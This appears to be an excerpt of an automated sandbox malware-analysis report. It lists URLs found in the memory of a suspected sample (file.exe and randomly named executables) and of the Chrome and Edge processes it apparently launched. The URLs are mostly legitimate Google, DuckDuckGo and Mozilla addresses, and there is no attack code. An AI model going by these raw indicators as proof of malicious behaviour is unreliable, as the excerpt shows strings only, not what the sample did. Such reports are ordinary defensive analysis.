Source: chrome.exe, 00000003.00000003.1504033936.00007CDC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1503908361.00007CDC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000003.00000003.1504033936.00007CDC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1503908361.00007CDC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.1504033936.00007CDC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1503908361.00007CDC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/https://google-ohttp-relay-query.fastly-edge.com/
Source: msedge.exe, 00000008.00000002.1671869534.00002E5C0016C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000003.00000003.1500585445.00005E0C002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1500571271.00005E0C002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000002.1671308268.00002E5C00040000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: file.exe, 00000000.00000002.2048030528.0000000023F50000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2309499310.000000000123A000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2433921371.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2615948450.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.2048030528.0000000023F50000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2309499310.000000000123A000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2433921371.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapps
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000003.00000003.1542541565.000024D80129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000003.1542541565.000024D80129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultult
Source: chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy$
Source: chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapplt
Source: chrome.exe, 00000003.00000003.1542541565.000024D80129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: file.exe, file.exe, 00000000.00000002.2025550529.0000000000C9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2054264456.000000006D491000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.1422553388.00000000056CB000.00000004.00001000.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2567939622.000000000630C000.00000040.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2495407278.00000000088AB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 0000001E.00000002.2361785150.0000000000D9C000.00000040.00000001.01000000.00000019.sdmp, ef7349e1dc.exe, 0000001E.00000003.2321135289.00000000054CB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 00000021.00000002.2479376498.0000000000D9C000.00000040.00000001.01000000.00000019.sdmp, ef7349e1dc.exe, 00000021.00000003.2438045776.00000000057CB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 00000025.00000003.2608697053.000000000510B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1626835728.0000000001A41000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286752317.0000000005C73000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286923813.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582686214.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1626835728.0000000001A41000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286752317.0000000005C73000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286923813.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582686214.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1626835728.0000000001A41000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286752317.0000000005C73000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286923813.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582686214.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/#
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/$
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/-
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/.
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0
Source: chrome.exe, 00000003.00000003.1504033936.00007CDC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1503908361.00007CDC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/5
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/7
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/?
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/A
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/D
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/K
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/N
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/U
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/X
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/_
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/b
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/i
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/l
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/s
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/v
Source: chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.1504033936.00007CDC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1503908361.00007CDC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000003.00000003.1504466902.00007CDC00878000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1543285058.000024D801E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1543336080.000024D801E14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1543314962.000024D801E10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000003.00000003.1504033936.00007CDC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1503908361.00007CDC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: msedge.exe, 00000008.00000002.1672282873.00002E5C003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: 8407c5d8e2.exe, 0000001F.00000003.2433921371.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2615948450.0000000000E33000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000003.1503908361.00007CDC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000003.1542805760.000024D801D50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1542677408.000024D801D4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1542629227.000024D801D38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000003.1542805760.000024D801D50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1542677408.000024D801D4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1542629227.000024D801D38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard$
Source: chrome.exe, 00000003.00000003.1504033936.00007CDC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1503908361.00007CDC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000003.1504033936.00007CDC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1503908361.00007CDC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000003.1503908361.00007CDC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.1539091537.000024D80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537881470.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538223319.000024D801458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538084514.000024D801448000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539139447.000024D801478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539056895.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537986472.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538148567.000024D801450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000003.00000003.1521964278.000024D80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521897368.000024D801158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000003.00000003.1521964278.000024D80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521897368.000024D801158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000003.1504509022.00007CDC00880000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.1503908361.00007CDC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000003.00000003.1547145904.000024D801BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/
